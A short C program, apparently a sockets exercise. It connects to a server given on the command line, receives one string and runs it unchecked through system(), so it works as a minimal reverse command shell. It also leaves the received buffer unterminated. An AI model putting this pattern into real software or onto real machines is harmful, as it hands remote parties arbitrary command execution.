#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[])
{
    // Creating the first socket
    int ClientSocket;
    ClientSocket = socket(AF_INET, SOCK_STREAM, 0);

    if(ClientSocket != -1)
    {
        printf("Socket created !\n");
    }else
    {
        perror("Error creating socket");
    }

    // connection to server
    struct sockaddr_in serverInfos;
    // TCP
    serverInfos.sin_family = AF_INET;
    // IP
    serverInfos.sin_addr.s_addr = inet_addr(argv[1]);
    // PORT
    int argvPort = atoi(argv[2]);
    serverInfos.sin_port = htons(argvPort);

    if(connect(ClientSocket, (struct sockaddr*)&serverInfos, sizeof(serverInfos)) != -1)
    {
        printf("Connected to server !\n");
    }else
    {
        perror("Error connecting to server");
        return 1;
    }

    char commandIn[999];
    char commandOut[999];
    if(recv(ClientSocket, commandIn, sizeof(commandIn), 0) < 0)
    {
        perror("Error receiving command");
    }else
    {
        printf("%s", commandIn);
        system(commandIn);
    }

    return 0;
}